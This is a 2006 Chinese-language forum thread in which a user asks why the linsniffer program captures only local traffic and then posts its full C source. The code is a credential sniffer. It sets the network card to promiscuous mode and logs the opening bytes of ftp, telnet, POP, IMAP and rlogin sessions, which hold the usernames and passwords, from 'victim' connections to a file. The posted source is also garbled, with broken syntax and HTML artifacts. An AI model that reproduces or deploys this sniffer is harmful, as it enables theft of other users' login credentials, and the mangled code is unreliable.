QQ登录

只需一步,快速开始

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 1250|回复: 3

有关linsniffer程序

[复制链接]
发表于 2006-5-31 16:02:51 | 显示全部楼层 |阅读模式
有没有人看过linsniffer的源代码呀,我编译通过后运行,只能在tcp.log中收到自己电脑上的一些端口对自己的631端口发数据,数据是一些莫名其妙的内容,我查看了eth0,也处在了混合模式.
不知道什么问题,怎样才能收到其它机器内容.
 楼主| 发表于 2006-6-3 10:07:09 | 显示全部楼层
设置为混合模式后,使用read函数不能读到其他机器数据吗?
回复

使用道具 举报

 楼主| 发表于 2006-6-4 10:45:40 | 显示全部楼层
没有人提示一下吗?
回复

使用道具 举报

 楼主| 发表于 2006-6-5 14:10:14 | 显示全部楼层

这是源码

[code:1]
#include < string.h>
#include < ctype.h>
#include < stdio.h>
#include < netdb.h>
#include < sys/file.h>
#include < sys/time.h>
#include < sys/socket.h>
#include < sys/ioctl.h>
#include < sys/signal.h>
#include < net/if.h>
#include < arpa/inet.h>
#include < netinet/in.h>
#include < netinet/ip.h>
#include < netinet/tcp.h>
#include < netinet/if_ether.h>


int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"

struct etherpacket{
   struct ethhdr eth;/*以太网报头*/
   struct iphdr  ip;/*ip报头*/
   struct tcphdr tcp;/*tcp报头*/
   char buff[8192];/*数据区*/
}ep;

struct{
   unsigned long      saddr;/*源地址*/
   unsigned long      daddr;/*目标地址*/
   unsigned short     sport;/*源端口*/
   unsigned short     dport;/*目标端口*/
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;


main(int argc, char **argv)
{
        s=openintf("eth0");/*建立socket,设置“eth0”为混杂模式,返回socket的文
        ip=(struct iphdr *)(((unsigned long)&ep.ip)-2)       
        tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
        signal(SIGHUP, SIG_IGN);/*忽略连接中断信号*/
        signal(SIGINT, cleanup);/*ctrl-c*/
        signal(SIGTERM, cleanup);/*kill(1)*/
        signal(SIGKILL, cleanup);
        signal(SIGQUIT, cleanup);/ctrl-\*/
       
        if(argc == 2) fp=stdout;
        else fp=fopen(TCPLOG, "at");/*以追加方式打开*/
         
        if(fp == NULL) { fprintf(stderr, "cant open log\n";exit(0);}
         clear_victim();/*初始化victim结构*/
   
        for( ; ; )
        {
                read_tcp(s);/*接收并分析数据包*/
                      if(victim.active != 0)
                 print_data(htons(ip->;tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
                fflush(fp);      
             }   
}



int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);/*d="eth0"*/
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);/*获得网卡工作模式*/
   if(s < 0)
   {
      close(fd);
      perror("cant get flags";
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;/*设置标志位*/
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);/*设为混杂模式*/
   if(s < 0) perror("cant set promiscuous mode");
   return fd;
}


void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}


  int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));/*从socket读数据包*/
      if(x >; 1)
      {
         if(filter()==0) continue;/*分析数据包*/
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}


int filter(void)
{
   int p;
   p=0;
   if(ip->;roptocol != 6) return 0;/*如果不是tcp数据包*/
   if(victim.active != 0)   
      if(victim.bytes_read >CAPTLEN)
      {
         fprintf(fp, "\n----- [CAPLEN Exceeded]\n";
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) >; (victim.start_time + TIMEOUT))
      {
         fprintf(fp, "\n----- [Timed Out]\n";
         clear_victim();
         return 0;
      }                                                                                                                  
   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==22)  p=1; /* ssh for comparison added for example only comment out if desired*/
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /*imap2*/
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)/*SYN包*/
         {
            victim.saddr=ip->saddr;/*地址*/
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;/*端口*/
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();/*向tcp.log中写入连接双放的地址和端口*/
         }  
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1) /*如果是要求重置连接的包*/
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [RST]\n";
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1) /*如果是发送关闭连接的包*/
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}



int print_header(void)
{
        fprintf(fp, "\n");
        fprintf(fp, "%s => ", hostlookup(ip->saddr));
        fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
        int i=0;
        int t=0;
        victim.bytes_read=victim.bytes_read+datalen;

        for(i=0;i != datalen;i++)
        {
                if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
                if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
                if(t > 75) {t=0;fprintf(fp, "\n");}
        }
}


char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}



void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);

}
[/code:1]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

GMT+8, 2024-11-2 14:21 , Processed in 0.091778 second(s), 15 queries .

© 2021 Powered by Discuz! X3.5.

快速回复 返回顶部 返回列表